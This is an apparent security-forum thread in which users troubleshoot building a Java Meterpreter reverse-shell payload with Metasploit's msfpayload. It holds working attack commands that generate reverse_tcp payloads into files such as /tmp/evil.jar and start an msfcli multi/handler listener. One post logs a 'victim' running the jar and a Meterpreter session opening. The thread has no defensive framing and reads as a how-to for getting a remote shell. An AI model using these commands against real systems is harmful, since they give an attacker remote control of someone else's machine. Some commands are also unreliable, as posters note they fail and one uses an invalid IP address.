Create a java meterpreter payload

[illera88]

Hello, I want to create a java reverse meterpreter shell just like all can do using a linux meterpreter shell:

./msfpayload linux/x86/meterpreter/reverse_tcp LHOST=172.16.24.150 X > /tmp/meterlin.bin

If I do the same but with a java payload:

./msfpayload java/meterpreter/reverse_tcp LHOST=127.0.0.1 X > /home/default/Documentos/exploit
No executable format support for this arch/platform

Why???
How must i create a java meterpreter payload????

Thanks

[laptopz]

./msfpayload java/meterpreter/reverse_tcp LHOST=192.168.256.1 LPORT=31337 J > /tmp/evil.jar

Edit: note to self : to write down 200 times "I will use google before writing stupid posts"

Q: 2010/7/30 Shai rod <shai_r () msn com>:

Hi all,
I was wondering, if its possible to create a "java/meterpreter/reverse_tcp"
jar file using msfpayload ?

A: On Thu, Aug 12, 2010 at 2:41 PM, <egypt () metasploit com> wrote:

Not yet. Right now you can take data/java/loader.jar and run it with
"java -jar loader.jar <lhost> <lport>" to achieve your goal...

Edit: I couldn`t resist testing anyway...

brainstorm:/opt/metasploit3/msf3# ./msfpayload java/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=4444 R > /tmp/evil.jar && ./msfcli multi/handler PAYLOAD=java/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=4444 E[*] Please wait while we load the module tree...[*] Started reverse handler on x.x.x.x:4444[*] Starting the payload handler...
......
victim@victory:~$java -jar /tmp/evil.jar
......[*] Sending stage (27642 bytes) to x.x.x.x[*] Meterpreter session 1 opened (x.x.x.x:4444 -> x.x.x.x:33371) at Thu Jan 13

meterpreter >

[KMDave]

./msfpayload java/meterpreter/reverse_tcp LHOST=192.168.256.1 LPORT=31337 J > /tmp/evil.jar

Which won't work by running it via java -jar evil.jar.

Even though trying to help out is highly appreciated, please try out the solutions you are giving before posting.

[illera88]

So if it doesnt work in that way, how must i do to create a java payload?

Thanks

[laptopz]

You didn`t bother reading the thread,did ya?

[illera88]

root@default:/opt/framework-3.5.1/msf3# java -jar /tmp/evil.jar
Invalid or corrupt jarfile /tmp/evil.jar

Why???

Thanks